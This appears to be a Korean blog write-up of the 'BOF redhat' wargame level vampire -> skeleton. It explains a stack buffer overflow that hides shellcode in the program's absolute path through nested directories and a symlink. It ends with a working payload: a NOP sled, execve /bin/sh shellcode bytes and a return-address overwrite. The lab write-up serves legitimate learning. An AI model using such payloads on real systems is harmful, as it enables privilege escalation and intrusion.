BOF redhat 원정대 vampire -> skeleton

BOF redhat 원정대 vampire -> skeleton

skeleton, skeleton.c


이전 문제에서 없어졌던 argv[1]길이제한, buffer hunter, egghunter가 다시 생겨나고 argc saver를 이용하는 ultra argv hunter가 생겨났다.
ultra argv hunter는 모든 argv를 길이 값까지 확인하여 모두 초기화 시켜버리므로 argv를 이용하기는 어려워보인다.

argv까지 모두 사용하지 못하면 쉘코드를 담을 공간이 없는 것 같다.
실행파일이 메모리에 로딩 될 때는 실행에 필요한 정보들도 메모리에 로딩되는데 그 중에 프로그램의 절대경로가 포함 될 수도 있으니 메모리를 찾아보자.


프로그램을 로딩시키자마자 브레이크로 잡은 후에 메모리를 쭉 뒤져 보니 아래쪽에 프로그램의 절대 경로가 저장되어 있는 걸 확인 할 수 있었다.

프로그램의 절대경로가 메모리에 담기는 것을 확인 하였으니 orge -> troll에서 사용 하였던 경로에 쉘코드를 포함시키는 공격을 수행 할 수 있다.

경로에 쉘코드가 들어 갈 수 있도록 mkdir -p로 쉘코드를 포함하는 디렉터리를 만들고 최상위 디렉터리에 skeleton파일의 심볼릭링크를 만든다. 그리고 skeleton에 심볼릭 링크가 걸린 파일을 절대 경로로 실행하면 argv[0]과 메모리의 아래부분에 쉘코드가 올라간다. argv[0]은 초기화 되기 때문에 메모리의 아래부분에 올라가있는 쉘코드를 이용하여 공격을 한다.

페이로드는
[버퍼][SFP][RET].......[argv].................[절대경로]
[   버퍼  ][RET].......[argv].................[쉘코드]
이렇게 구성하고 RET를 쉘코드로 뛰도록 하면 쉘코드를 실행 할 수 있다.

RET주소를 찾아보자.


0xbfffff68에 절대경로가 들어가기 때문에 쉘코드도 메모리에 올라가 있는 것을 볼 수 있다.
저 주소에는 /home/vampire/도 포함되어 있기때문에 좀 뒤의 메모리 주소를 넣어 RET가 놉으로 뛸수 있도록 페이로드를 작성하여 공격을 하면


상승된 권한으로 쉘코드를 얻어 패스워드를 얻을 수 있다.
쉘코드 :
/home/vampire/$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')/zkeleton `python -c 'print "A"*44 + "\x78\xff\xff\xbf"'`

0 개의 댓글:

댓글 쓰기